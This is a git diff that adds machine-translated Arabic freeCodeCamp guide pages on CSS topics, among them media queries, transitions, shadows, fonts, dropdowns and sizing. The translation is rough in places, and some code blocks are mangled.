+ستحتوي العلامة `p` على مساحة مقدارها 30 بكسل بمجرد أن تصل الشاشة إلى 768 بكسل على الأقل ويكون اتجاهها أفقيًا.
+
+### بناء جملة OR
+
+ `    @media only screen and (min-width: 768px), (min-resolution: 150dpi) { 
+      p {padding: 30px;} 
+    } 
+` 
+
+ستحتوي علامة `p` على مساحة مقدارها 30 بكسل بمجرد أن تصل الشاشة إلى 768 بكسل أو يصل دقتها إلى 150 نقطة في البوصة.
+
+### معلومات اكثر
+
+*   [MDN - استعلامات الوسائط](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+*   [W3 Schools -media rule](https://www.w3schools.com/cssref/css3_pr_mediaquery.asp)
+*   [المغلق الخدعه الموحدة اجهزه العرض Atricle](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)
+*   \[https://alistapart.com/article/responsive-web-design\](Ethan Marcotte A List Apart Atricle on Responsive Web Design)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-multiple-columns/index.md b/client/src/guide/arabic/css/css3-multiple-columns/index.md
new file mode 100644
index 0000000000..7c28c7c109
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-multiple-columns/index.md
@@ -0,0 +1,24 @@
+---
+title: CSS3 Multiple Columns
+localeTitle: CSS3 أعمدة متعددة
+---
+## CSS3 أعمدة متعددة
+
+يعمل **تخطيط** CSS **متعدد الأعمدة** على _توسيع_ وضع _تخطيط الكتلة_ للسماح بالتعريف السهل لأعمدة متعددة من النص. يواجه الأشخاص صعوبة في قراءة النص إذا كانت الخطوط طويلة جدًا ؛ إذا استغرق الأمر وقتًا طويلاً حتى تنتقل العينان من نهاية السطر الأول إلى بداية المرحلة التالية ، فإنها تفقد مسار الخط الذي كانت عليه. لذلك ، لتحقيق أقصى استفادة من شاشة كبيرة ، يجب أن يكون للمؤلفين أعمدة ذات نص محدود العرض موضوعة جنبًا إلى جنب ، تمامًا كما تفعل الصحف.
+
+للأسف ، لا يمكن إجراء ذلك باستخدام CSS و HTML بدون فرض فواصل الأعمدة على مواضع ثابتة ، أو تقييد العلامة التي يسمح بها النص بشكل كبير ، أو استخدام البرمجة النصية البطولية. يتم حل هذا القيد عن طريق إضافة خصائص CSS جديدة لتوسيع وضع تخطيط الكتلة التقليدي.
+
+هناك العديد من الخصائص التي تتيح لك تخصيص تنسيق متعدد الأعمدة:
+
+*   العمود العد
+*   العمود الفجوة
+*   على غرار حكم العمود
+*   العمود القاعدة العرض
+*   العمود القاعدة لون
+*   العمود القاعدة
+*   العمود تمتد
+*   عرض العمود
+
+#### معلومات اكثر:
+
+[هذه مقالة رائعة يمكنك](https://css-tricks.com/almanac/properties/c/columns/) قراءتها لفهم المزيد عن CSS3 Multiple Columns
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-nth-child-selector/index.md b/client/src/guide/arabic/css/css3-nth-child-selector/index.md
new file mode 100644
index 0000000000..7fb16b3889
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-nth-child-selector/index.md
@@ -0,0 +1,44 @@
+---
+title: CSS3 Nth Child Selector
+localeTitle: CSS3 Nth Child Selector
+---
+## CSS3 Nth Child Selector
+
+محدد `nth-child` هو css psuedo-class يأخذ نمطًا يتطابق فيه مع عنصر واحد أو أكثر بالنسبة إلى موضعه بين الأشقاء.
+
+## بناء الجملة
+
+\`\` \`المغلق a: nth-child (pattern) { / \* Css هنا \* / }
+
+ ``### Pattern 
+ 
+ The patterns accepted by `nth-child` can come in the form of keywords or an equation of the form An+B. 
+ 
+ #### Keywords 
+ 
+ ##### Odd 
+ 
+ Odd returns all odd elements of a given type. 
+`` 
+
+المغلق a: nth-childe (odd) { / \* CSS هنا \* / }
+
+ `##### Even 
+ 
+ Even returns all even elements of a given type. 
+` 
+
+المغلق a: nth-childe (even) { / \* CSS هنا \* / }
+
+ `#### An+B 
+ 
+ Returns all elements matching the equation An+B for every positive integer value of n (in addition to 0). 
+ 
+ For example, the following will match every 3rd anchor element: 
+` 
+
+المغلق a: nth-childe (3n) { / \* CSS هنا \* / } \`\` \`
+
+### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/%3Anth-child) [CSS Tricks - nth child selector](https://css-tricks.com/almanac/selectors/n/nth-child/) [CSS Tricks - nth child tester](https://css-tricks.com/examples/nth-child-tester/) [W3Scools - nth child selector](https://www.w3schools.com/cssref/sel_nth-child.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-opacity-property/index.md b/client/src/guide/arabic/css/css3-opacity-property/index.md
new file mode 100644
index 0000000000..0b979460be
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-opacity-property/index.md
@@ -0,0 +1,35 @@
+---
+title: CSS3 Opacity Property
+localeTitle: خاصية عتامة CSS3
+---
+## خاصية عتامة CSS3
+
+تتيح لك `opacity` التحكم في مدى شفافية العنصر على مقياس من `0` إلى `1` .
+
+إذا قمت بتعيين الخاصية لعنصر إلى `0` ستكون شفافة. إذا قمت بتعيينه إلى `1` سيكون معتمًا.
+
+ضبط عنصر على `opacity: 0;` لا يزيلها من الصفحة. سيظل العنصر قابلاً للنقر وسيؤثر على تدفق محتوى الصفحة.
+
+ `.transparent { 
+    opacity: 0; 
+ } 
+ 
+ .verySeeThrough { 
+    opacity: 0.3; 
+ } 
+ 
+ .slightlySeeThrough { 
+    opacity: 0.7; 
+ } 
+ 
+ .opaque { 
+    opacity: 1; 
+ } 
+` 
+
+[يوضح هذا المثال البسيط](https://jsfiddle.net/1ogmxaf8/1/) كيفية استخدام التعتيم مع تأثير التمرير.
+
+#### معلومات اكثر:
+
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)
+*   [المغلق الخدع تقويم](https://css-tricks.com/almanac/properties/o/opacity/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-shadow-effects/index.md b/client/src/guide/arabic/css/css3-shadow-effects/index.md
new file mode 100644
index 0000000000..203e18ad3b
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-shadow-effects/index.md
@@ -0,0 +1,82 @@
+---
+title: CSS3 Shadow Effects
+localeTitle: تأثيرات الظل CSS3
+---
+## تأثيرات الظل CSS3
+
+باستخدام CSS3 ، يمكنك إنشاء نوعين من الظلال: `text-shadow` (يضيف الظل إلى النص) `box-shadow` (يضيف الظل إلى عناصر أخرى).
+
+### CSS3 نص الظل
+
+يمكن أن تأخذ خاصية " `text-shadow` ما يصل إلى أربع قيم:
+
+*   الظل الأفقي
+*   الظل الرأسي
+*   تأثير التمويه
+*   اللون
+
+##### أمثلة:
+
+*   ظل نص عادي
+
+ `h1 { 
+    text-shadow: 2px 2px 5px crimson; 
+ } 
+` 
+
+![مثال على ظل النص العادي](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow1.png)
+
+*   تأثير النص متوهجة
+
+ `h1 { 
+    text-shadow: 0 0 4px #00FF9C; 
+ } 
+` 
+
+![مثال متوهج النص](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow2.png)
+
+#### ظلال متعددة
+
+لتحقيق ذلك ، يمكنك ببساطة إضافة فاصلة بين مجموعتين من القيم (أو أكثر):
+
+ `h1 { 
+    color: white; 
+    text-shadow: 0 0 3px #F10D58, 0 0 7px #4578D5; 
+ } 
+` 
+
+![ظلال متعددة تتفحص بنص أبيض](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/text-shadow3.png)
+
+### CSS3 صندوق الظل
+
+يمكن أن تأخذ الخاصية `box-shadow` ما يصل إلى ست قيم:
+
+*   (اختياري) الكلمة الأساسية `inset` (تغيير الظل إلى واحد داخل الإطار)
+*   الظل الأفقي
+*   الظل الرأسي
+*   تأثير التمويه
+*   الانتشار
+*   اللون
+
+##### أمثلة:
+
+ `.first-div { 
+    box-shadow: 1px 1px 5px 3px grey; 
+ } 
+ 
+ .second-div { 
+    box-shadow: 0 0 5px 1px lightgrey; 
+ } 
+ 
+ .third-div { 
+    box-shadow: inset 0 0 15px 5px rgba(0,0,0,0.75); 
+ } 
+` 
+
+![أمثلة Box-shadow](https://raw.githubusercontent.com/nawnaw7/FCC-guides-CSS3-shadows-images/master/CSS3%20Shadow%20Effects%20Images/box-shadows.png)
+
+#### معلومات اكثر:
+
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow?v=b)
+*   [تحقق من دعم المستعرض](https://caniuse.com/#search=box-shadow)
+*   [CSS box-shadow generator](https://www.cssmatic.com/box-shadow) (لا تتردد في تجربة الظلال)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css3-transitions/index.md b/client/src/guide/arabic/css/css3-transitions/index.md
new file mode 100644
index 0000000000..633490595c
--- /dev/null
+++ b/client/src/guide/arabic/css/css3-transitions/index.md
@@ -0,0 +1,119 @@
+---
+title: CSS3 Transitions
+localeTitle: التحولات CSS3
+---
+## التحولات CSS3
+
+قد يكون استخدام عمليات **النقل من** CSS3 مفيدًا إذا كنت تريد أن يكون تطبيقك أو صفحتك على الويب أكثر ديناميكية وحسن المظهر.
+
+في الواقع ، تسمح لك الانتقالات بتغيير قيم الخاصية ( `width` ، `color` ، ...) بطريقة **سلسة** .
+
+الخاصية `transition` هي خاصية مختزلة لخاصية `transition-property` ، `transition-duration` `transition-timing-function` ، `transition-timing-function` `transition-delay` ، وبناء الجملة هو ما يلي:
+
+ `transition: transition-property transition-duration transition-timing-function transition-delay 
+` 
+
+فمثلا :
+
+ `transition: width 2s ease-in-out 1s; 
+` 
+
+### وصف الخصائص
+
+#### `transition-property`
+
+حدد **اسم** الموقع الذي يجب عليك تطبيق النقل عليه:
+
+*   `background-color`
+*   `color`
+*   `width`
+*   `height`
+*   `margin`
+*   `border-radius`
+*   وما إلى ذلك وهلم جرا !
+
+فمثلا :
+
+ `transition-property: width; /* means the transition applies on the width */ 
+` 
+
+#### `transition-duration`
+
+حدد **عدد الثواني أو الألف** من **الثانية التي** يجب أن **يستغرقها** الانتقال:
+
+فمثلا :
+
+ `transition-duration: 2s /* means the transition effect last 2s */ 
+` 
+
+#### `transition-timing-function`
+
+حدد **منحنى السرعة** لتأثير الانتقال. وبالتالي ، يمكنك تغيير **سرعة انتقالك على مدار مدته** .
+
+فيما يلي القيم الأكثر استخدامًا:
+
+*   `linear`
+*   `ease`
+*   `ease-in`
+*   `ease-out`
+*   `ease-in-out`
+*   `cubic-bezier(n, n, n, n)`
+
+فمثلا :
+
+ `transition-timing-function: linear 
+` 
+
+ملاحظة: جميع القيم المذكورة أعلاه هي في الواقع تفاصيل `cubic-bezier` . `linear` ، على سبيل المثال ، تعادل `cubic-bezier(0.25,0.1,0.25,1)`
+
+يمكنك تجربة ومعرفة المزيد عن _بيزييه مكعب_ [هنا](http://cubic-bezier.com/)
+
+#### `transition-delay`
+
+حدد خلال **ثوانٍ أو ميلي ثانية** عندما **يبدأ النقل** .
+
+فمثلا :
+
+ `transition-delay: 1s /* means wait 1s before the transition effect start */ 
+` 
+
+### كيفية استخدام التحولات؟
+
+يمكنك كتابة انتقال بطريقتين:
+
+#### استخدام الخاصية المختزلة ( `transition` )
+
+ `div { 
+  width: 200px; 
+  transition: all 1s ease-in-out; 
+ } 
+ 
+ div:hover { 
+  width: 300px; 
+ } 
+` 
+
+#### إعطاء جميع خصائص النقل قيمة
+
+ `div { 
+  width: 200px; 
+  transition-property: width; 
+  transition-duration: 1s; 
+  transition-timing-function: ease-in-out; 
+ } 
+` 
+
+ملاحظة: كلا المثالين **متساويان**
+
+### أمثلة
+
+إليك بعض الأقلام البسيطة التي تحتوي على انتقالات بسيطة:
+
+*   [التحولات الأساسية](https://codepen.io/thomlom/pen/gGqzNp)
+*   [التحولات + جافا سكريبت](https://codepen.io/thomlom/pen/JrxZKz?editors=1111)
+
+#### معلومات اكثر:
+
+*   [w3schools: CSS3 Transitions](https://www.w3schools.com/css/css3_transitions.asp)
+*   [مستندات ويب MDN: استخدام انتقالات CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions)
+*   [DevTips: CSS الانتقالية](https://www.youtube.com/watch?v=8kK-cA99SA0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/current-color-keyword/index.md b/client/src/guide/arabic/css/current-color-keyword/index.md
new file mode 100644
index 0000000000..851ddef2e3
--- /dev/null
+++ b/client/src/guide/arabic/css/current-color-keyword/index.md
@@ -0,0 +1,85 @@
+---
+title: currentColor Keyword
+localeTitle: الكلمة الرئيسية الحالية
+---
+## الكلمة الرئيسية الحالية
+
+الكلمة الأساسية الحالية ، كما يوحي الاسم ، هي قيمة لون صالحة في CSS. يمثل هذا قيمة خاصية `color` عنصر محدد. يتيح لك هذا استخدام قيمة خاصية `color` للخصائص التي لا تستلمها افتراضيًا.
+
+### دعم المتصفح
+
+الكلمة الرئيسية الحالية ملونة مدعومة بشكل جيد عبر المتصفحات. مدعوم من IE9 + ، سفاري 4+ ، وجميع المتصفحات الحديثة الأخرى. تحقق من القائمة الكاملة في [caniuse.com](https://caniuse.com/#feat=currentcolor)
+
+### مثال
+
+نعلن أن كل div يحتوي على حدود 3px بلون _currentColor_ ، مما يعني أن كل حد div سيتم تلوينه بنفس قيمة خاصية `color` الخاصة به. تحقق من المثال الحي [هنا](http://jsfiddle.net/tjkp0cm3/)
+
+ `div{ 
+  /* The currentColor keyword for the color value, which means that the border will have the value of the respective div's color property */ 
+  border: 3px solid currentColor; 
+ } 
+ 
+ /* This div will have green borders, because its color value is green. */ 
+ #div1{ 
+  color: green; 
+ } 
+ 
+ /* This div will have blue borders, because its color value is blue. */ 
+ #div2{ 
+  color: blue; 
+ } 
+` 
+
+### التطبيق العملي مع SVG
+
+إليك مثال شائع جدًا على الويب - زر يحتوي على رمز SVG ونص فيه. يتغير لون الحدود والنص والرموز عند تحريك الماوس فوق الزر. توضح الصورة التالية الحالة الأولية والحالات التي تم تحريكها للزر بالترتيب.
+
+![صور الزر](https://image.ibb.co/hWveBR/button_variations.png)
+
+يمكن أيضًا استخدام خطوط الرموز لهذا الغرض ، ولكن هناك مزايا مختلفة من SVG المضمنة على خطوط الأيقونات ، وقد يؤدي ذلك إلى جعل SVGs خيارًا للعديد من المطورين. نقلا [CSS-Tricks](https://css-tricks.com/icon-fonts-vs-svg/) ،
+
+> يمكن أن يكون محبطًا وضع رمز خط. يتم إدراج الرموز عبر عنصر زائف ، ويعتمد ذلك على `line-height` ، `vertical-align` ، `letter-spacing` `word-spacing` ، وكيف تم تصميم الصورة الرمزية `letter-spacing` (هل من الطبيعي وجود مساحة حوله؟ هل يحتوي على معلومات تقنين الأحرف)؟ . ثم العناصر الزائفة `display` يؤثر نوع إذا كانت هذه الخصائص لها تأثير أم لا. SVG فقط هو الحجم الذي هو عليه.
+
+باختصار ، قد يكون من المحبط أحيانًا استخدام رموز الخط مع النص.
+
+يمكننا استخدام هذا الرمز الخاص بنا لتحقيق السلوك المطلوب.
+
+ `button{ 
+  color: #016898; 
+ } 
+ 
+ .emailIcon{ 
+  fill: #016898; 
+ } 
+ 
+ button:hover { 
+  color: #19B5FE; 
+ } 
+ 
+ button:hover .emailIcon{ 
+  fill: #19B5FE; 
+ } 
+` 
+
+الآن، بدلا من تغيير SVG في `fill` اللون على تحوم بشكل واضح، فإننا يمكن أن يحدد التعبئة ل `currentColor` . يقوم هذا تلقائيًا بتغيير لون SVG إلى قيمة خاصية `color` الخاصة بالزر. نحن الآن بحاجة فقط إلى تغيير خاصية `color` من الزر. هذا يجعل رمز CSS أقصر وأذكى.
+
+ `.emailIcon{ 
+  fill: currentColor; 
+ } 
+ 
+ button{ 
+  color: #016898; 
+ } 
+ 
+ button:hover { 
+  color: #19B5FE; 
+ } 
+` 
+
+تحقق من المثال المباشر على https://repl.it/NNt9/2.
+
+#### معلومات اكثر:
+
+*   [مستندات MDN على خاصية `color` CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
+*   [MDN Docs على الكلمة الرئيسية الحالية](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#currentColor_example)
+*   [المادة على اللون الحالي في osvaldas.info](https://osvaldas.info/keeping-css-short-with-currentcolor)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/device-independent-pixel/index.md b/client/src/guide/arabic/css/device-independent-pixel/index.md
new file mode 100644
index 0000000000..e88976d45f
--- /dev/null
+++ b/client/src/guide/arabic/css/device-independent-pixel/index.md
@@ -0,0 +1,11 @@
+---
+title: Device Independent Pixel
+localeTitle: بكسل جهاز مستقل
+---
+## بكسل جهاز مستقل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/device-independent-pixel/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/dropdowns/index.md b/client/src/guide/arabic/css/dropdowns/index.md
new file mode 100644
index 0000000000..de662c3efe
--- /dev/null
+++ b/client/src/guide/arabic/css/dropdowns/index.md
@@ -0,0 +1,137 @@
+---
+title: Dropdowns
+localeTitle: هبوط قطرة
+---
+## هبوط قطرة
+
+يتم استخدام القوائم المنسدلة في CSS لإخفاء قائمة محددة مسبقًا داخل أحد الأزرار.
+
+أمثلة:
+
+ `
+<div class="dropdown"> 
+  <button class="dropbtn">Name</button> 
+  <div class="dropdownContent"> 
+    <a href="#">One</a> 
+    <a href="#">Two</a> 
+    <a href="#">Three</a> 
+  </div> 
+ </div> 
+` 
+
+ثم يجب عليك تخصيص الطبقات في CSS
+
+ `.dropdown { 
+  position: relative; 
+  display: inline-block; 
+ } 
+ 
+ .dropbtn { 
+  background-color: red; 
+  padding: 10px; 
+ } 
+ 
+ .dropdown-content { 
+  display: none; 
+  position: absolute; 
+ } 
+ 
+ .dropdown:hover .dropdown-content { 
+  display:block; 
+ } 
+` 
+
+تحتاج إلى فئات div منفصلة لإنشاء الزر ، و div آخر لفصل قائمة ما يحتوي عليه الزر.
+
+#### مثال
+
+ `
+<div id="container"> 
+ 
+        <div id="myNav1" class="overlay"> 
+ 
+            <div class="overlay-content" id="myNav1-content"> 
+ 
+                <div> 
+                    <a href="#" id="list1_obj1" class="list1" >Content 1</a> 
+                </div> 
+                <div> 
+                    <a href="#" id="list1_obj2" class="list1" >Content 2</a> 
+                </div> 
+ 
+            </div> 
+ 
+         </div> 
+ 
+         <div id="myNav2" class="overlay"> 
+ 
+             <a href="javascript:void(10)" class="closebtn" onclick="closeNav()">&times</a> 
+            <div class="overlay-content" id="myNav2-content"> 
+ 
+                <div> 
+                    <a href="#" id="list2_obj1" class="list2" >Content 3</a> 
+                </div> 
+                <div> 
+                   <a href="#" id="list2_obj2" class="list2" >Content 4</a> 
+                </div> 
+                <div> 
+                  <a href="#" id="list2_obj3" class="list2" >Content 5</a> 
+                </div> 
+ 
+            </div> 
+ 
+         </div> 
+ 
+ </div> 
+` 
+
+ `#myNav1 { 
+    height: 0; 
+    width: 50%; 
+    position: fixed; 
+    z-index: 6; 
+    top: 0; 
+    left: 0; 
+    background-color: #ffff; 
+    overflow: hidden; 
+    transition: 0.3s; 
+    opacity: 0.85; 
+ } 
+ 
+ #myNav2 { 
+    height: 0; 
+    width: 50%; 
+    position: fixed; 
+    z-index: 6; 
+    bottom: 0; 
+    right: 0; 
+    background-color: #ffff; 
+    overflow: hidden; 
+    transition: 0.3s; 
+    opacity: 0.85; 
+ } 
+ 
+ .overlay-content { 
+    position: relative; 
+    width: 100%; 
+    text-align: center; 
+    margin-top: 30px; 
+ } 
+ 
+ #myNav1-content{ 
+    top: 12%; 
+    left: 5%; 
+    display: none; 
+ } 
+ 
+ #myNav2-content{ 
+    top: 12%; 
+    right: 10%; 
+    display: none; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   W3 School Dropdown Hover Button: [Link to W3 School](https://www.w3schools.com/howto/howto_css_dropdown.asp)
+*   W3 School Dropdowns: [Link to W3 School](https://www.w3schools.com/css/css_dropdowns.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/fonts/index.md b/client/src/guide/arabic/css/fonts/index.md
new file mode 100644
index 0000000000..5b425fb4ac
--- /dev/null
+++ b/client/src/guide/arabic/css/fonts/index.md
@@ -0,0 +1,105 @@
+---
+title: Fonts
+localeTitle: الخطوط
+---
+## الخطوط
+
+تحدد خصائص خط CSS مجموعة الخطوط والوزن والحجم والمتغير وارتفاع الخط ونمط النص.
+
+### خط العائلة
+
+يتم تعيين عائلة الخط من النص ببساطة باستخدام خاصية `font-family` .
+
+يعمل مع نظام _احتياطي_ ، إذا كان متصفحك لا يدعم الخط الأول ، فإنه يحاول مع الخط التالي وهكذا. إذا كان اسم الخط أكثر من كلمة واحدة يجب أن يكون محاطًا بعلامات اقتباس.
+
+ `p { 
+    font-family: "Times New Roman", Times, serif; 
+ } 
+` 
+
+في المثال أعلاه ، "Times New Roman" هو من الخط ، في حين أن "serif" هو . يتم استخدام الأسماء العامة كخلفية آلية للحفاظ على النمط إذا كان اسم العائلة غير متاح. يجب أن يكون الاسم العام هو العنصر الأخير في قائمة أسماء عائلة الخطوط. عام أسماء العائلة هي serif، sans-serif، monospace، cursive، fantasy، system-ui.
+
+### نوع الخط
+
+يمكن استخدام الخاصية `font-style` لتحديد نص مائل.
+
+هذه الخاصية لديها 3 القيم:
+
+*   طبيعي - النص الموضح بشكل طبيعي
+*   مائل - النص موضح في _المائل_
+*   مائل - النص المائل يميل
+
+ `.normal { 
+    font-style: normal; 
+ } 
+ 
+ .italic { 
+    font-style: italic; 
+ } 
+ 
+ .oblique { 
+    font-style: oblique; 
+ } 
+` 
+
+### حجم الخط
+
+تحدد خاصية `font-size` النص.
+
+هناك أنواع مختلفة من قيم حجم الخط:
+
+*   `px` (بكسل) - الحجم الافتراضي من النص كائن `16px`
+*   `em` - `1em` = حجم الخط الحالي ، لذا `1em` = `16px` (موصى به من قبل W3C)
+*   `small` ، `medium` ، `large` - يُعرف بقيم الحجم المطلقة
+*   `%` - النسب المئوية
+
+ `.with-pixels { 
+    font-size: 14px; 
+ } 
+ 
+ .with-ems { 
+    font-size: 0.875em; 
+ } 
+ 
+ .with-absolute { 
+    font-size: large; 
+ } 
+ 
+ .with-percentage { 
+    font-size: 80%; 
+ } 
+` 
+
+### وزن الخط
+
+تحدد الخاصية `font-weight` الوزن (أو الجرأة) للخط. يقبل الكلمات الرئيسية ( `bold` ، `normal` ، `bolder` ، `lighter` ) أو كلمات رئيسية عددية ( `100` ، `200` ، `300` ، `400` إلخ) `400` هو نفسه `normal` .
+
+ `p { 
+   font-weight: bold 
+ } 
+` 
+
+### استجابة الخط
+
+يمكن ضبط حجم النص بوحدة عرض vw (عرض إطار العرض). وبهذه الطريقة ، سيتبع حجم النص حجم نافذة المتصفح.
+
+ `
+<h1 style="font-size:10vw">Hello World</h1> 
+` 
+
+`Viewport is the browser window size. 1vw = 1% of viewport width. If the viewport is 50cm wide, 1vw is 0.5cm.`
+
+### نوع الخط
+
+تحدد خاصية `font-variant` إذا كان يجب عرض النص في خط صغير الحجم (حيث يتم تحويل جميع الأحرف الصغيرة إلى أحرف كبيرة أثناء الظهور في حجم خط أصغر من الأحرف الكبيرة الأصلية في النص).
+
+ `p.small { 
+  font-variant: small-caps; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   [W3 مدارس - CSS الخط](https://www.w3schools.com/css/css_font.asp)
+*   [MND - CSS الخط](https://developer.mozilla.org/en-US/docs/Web/CSS/font)
+*   [CSSFontStack](https://www.cssfontstack.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/forms/index.md b/client/src/guide/arabic/css/forms/index.md
new file mode 100644
index 0000000000..de221bbec5
--- /dev/null
+++ b/client/src/guide/arabic/css/forms/index.md
@@ -0,0 +1,19 @@
+---
+title: Forms
+localeTitle: إستمارات
+---
+## إستمارات
+
+يعرّف عنصر نموذج HTML نموذجًا يُستخدم لجمع إدخال المستخدم. أمثلة:
+
+ `
+<form> 
+  contents 
+ </form> 
+` 
+
+يحتوي نموذج HTML على عناصر النموذج.
+
+عناصر النموذج هي أنواع مختلفة من عناصر الإدخال ، مثل حقول النص ، ومربعات الاختيار ، وأزرار الاختيار ، وأزرار الإرسال ، والمزيد.
+
+داخل علامات النماذج ، هناك أيضًا سمة مهمة وهي: -action: الصفحة التي سيتم إرسال البيانات إليها -method: نوع الطلب: "GET" و "POST"
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/graceful-degradation/index.md b/client/src/guide/arabic/css/graceful-degradation/index.md
new file mode 100644
index 0000000000..66bd3e68fc
--- /dev/null
+++ b/client/src/guide/arabic/css/graceful-degradation/index.md
@@ -0,0 +1,11 @@
+---
+title: Graceful Degradation
+localeTitle: تدهور رشيق
+---
+## تدهور رشيق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/css/graceful-degradation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/height-and-width-dimensions/index.md b/client/src/guide/arabic/css/height-and-width-dimensions/index.md
new file mode 100644
index 0000000000..f28e89cb6e
--- /dev/null
+++ b/client/src/guide/arabic/css/height-and-width-dimensions/index.md
@@ -0,0 +1,113 @@
+---
+title: Height and Width Dimensions
+localeTitle: أبعاد الطول والعرض
+---
+## أبعاد الطول والعرض
+
+### فريف
+
+يمكن للمبرمجين استخدام خصائص الارتفاع والعرض لتغيير ارتفاع وعناصر محددة. لكي يتم تغيير أبعادها ، يجب تعيين قيمة `display` الخاصة بهذه العناصر إلى `block` أو `block` `inline-block` .
+
+### بناء الجملة
+
+#### ارتفاع:
+
+*   `height: auto|length|initial|inherit;`
+*   `min-height: length|initial|inherit;`
+*   `max-height: none|length|initial|inherit;`
+
+#### عرض:
+
+*   `width: auto|value|initial|inherit;`
+*   `min-width: length|initial|inherit;`
+*   `max-width: none|length|initial|inherit;`
+
+### الاستخدام و الأمثلة
+
+جميع الخصائص المذكورة أعلاه يمكن أن يكون لها قيمة **واحدة** فقط.
+
+#### ارتفاع:
+
+تحدد خاصية `height` الدقيق لعنصر. القيمة `auto` هي القيمة الافتراضية وتسمح للمتصفح بتعيين الارتفاع تلقائيًا. يتم تحديد ذلك عادةً عن طريق المساحة الرأسية التي يأخذها محتوى العنصر. يمكن ضبط طول الارتفاع ليصبح ثابتًا في `px` ، بالنسبة إلى ارتفاع أقرب عنصر رئيسي باستخدام وحدة `%` ، أو بالنسبة إلى ارتفاع إطار العرض باستخدام وحدة `vh` . سوف يكون للقيمة `initial` نفس التأثير للقيمة `auto` بينما تعطي قيمة `inherit` العنصر بنفس الارتفاع كعنصر رئيسي أقرب.
+
+**مثال:**
+
+ `
+<p id="red">Example text</p> 
+` 
+
+ `p#red { 
+    margin: 0; 
+  background-color: red; 
+  height: 50vh; 
+    line-height: 50vh; 
+    text-align:center; 
+ } 
+` 
+
+**نتيجة:** ![مثال واحد](https://image.prntscr.com/image/dbKSQofTThGZRD7FJLyjJQ.png) يستخدم المثال أعلاه وحدة `vh` لإعداد الارتفاع. يتم استخدام هذه الوحدة لضبط ارتفاع العنصر بالنسبة لارتفاع إطار العرض. في هذه الحالة ، تُعطى الفقرة الحمراء ارتفاعًا يبلغ نصف ارتفاع إطار العرض حتى تستهلك 50٪ من الشاشة. _ملاحظة: يجب إزالة جميع الهوامش الافتراضية من النص لجعل النتيجة تظهر كما ينبغي._
+
+تحدد الخاصية `min-height` الحد الأدنى للارتفاع الذي يجب أن يحتوي عليه العنصر. هذه الخاصية مفيدة عند تغيير حجم الصفحة بشكل رأسي ، حيث يمكن للمبرمج منع عنصر من التقلص أكثر من اللازم وعدم الظهور بشكل جيد. يتم تعيين القيمة الافتراضية للحد `min-height` لعنصر ما على 0. سيحظر رمز CSS أدناه الفقرة ذات `ID` **المثال** من التقلص إلى أقل من 400 بكسل في الارتفاع.
+
+**مثال:**
+
+ `p#example { 
+  min-height: 400px; 
+ } 
+` 
+
+تحدد الخاصية `max-height` أقصى ارتفاع يمكن أن يصل إليه العنصر. قد يكون ذلك مفيدًا عندما لا تريد أن يكون العنصر أكبر من حجم معين. إذا كان محتوى العنصر أعلى من قيمة `max-height` المحتوى.
+
+**مثال:**
+
+ `p { 
+  max-height: 40px; 
+  background-color: red; 
+ } 
+` 
+
+**نتيجة:** ![مثال 3](https://image.prntscr.com/image/eRdqazdUSWO2rdVfcUb5rQ.png)
+
+#### عرض:
+
+تفسيرات خاصية عرض CSS هي نفسها تمامًا مثل خصائص الارتفاع "باستثناء أنها تغيّر عرض العنصر. لذلك ، سأعرض فقط بعض الأمثلة على استخدام هذه الخصائص أدناه.
+
+**مثال:**
+
+ `p { 
+  width: 150px; 
+  background-color: red; 
+ } 
+` 
+
+**نتيجة:** ![مثال 4](https://image.prntscr.com/image/x1_khU6TQsmZQznt7YU9qw.png)
+
+_ملاحظة: لا يمتد المحتوى إلى اليمين ، بل يستهلك العرض المحدد فقط ثم يكسر في السطر التالي._
+
+**مثال:**
+
+ `p { 
+  min-width: 50px; 
+ } 
+` 
+
+لن يسمح الكود السابق ببساطة لعنصر فقرة أن يتقلص أفقيًا إلى أقل من 50 بكسل.
+
+**مثال:**
+
+ `p { 
+  max-width: 300px; 
+  background-color: red; 
+ } 
+` 
+
